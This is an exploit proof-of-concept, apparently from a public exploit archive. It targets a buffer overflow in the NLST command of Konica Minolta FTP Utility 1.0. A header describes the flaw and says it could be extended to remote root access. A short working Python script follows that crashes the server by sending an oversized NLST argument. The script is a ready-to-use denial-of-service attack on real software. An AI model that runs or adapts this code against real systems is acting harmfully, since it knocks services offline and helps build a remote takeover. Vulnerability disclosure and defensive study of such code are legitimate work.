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=============== [ Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) ] ===============
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# Exploit Title: Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC)
# Date: [05-16-2020]
#
# Found by: Alvaro J. Gene (Socket_0x03)
# Email: Socket_0x03 (at) teraexe (dot) com
# Website: www (dot) teraexe (dot) com
#
# Software Link: https://konica-minolta-ftp-utility.software.informer.com/download/
# Vulnerable Application: Konica Minolta FTP Utility
# Version: 1.0
# Server: FTP Server
# Vulnerable Command: NLST
# Tested on: Windows 7 SP1
#
# Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers,
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite
# some registers, an individual can use the vulnerable command to build a remote buffer
# overflow exploit that will root a system without any user interaction.
from ftplib import FTP
ftp = FTP('192.168.0.16')
buffer = "A" * 1500
ftp.login()
ftp.retrlines('NLST ' + buffer)
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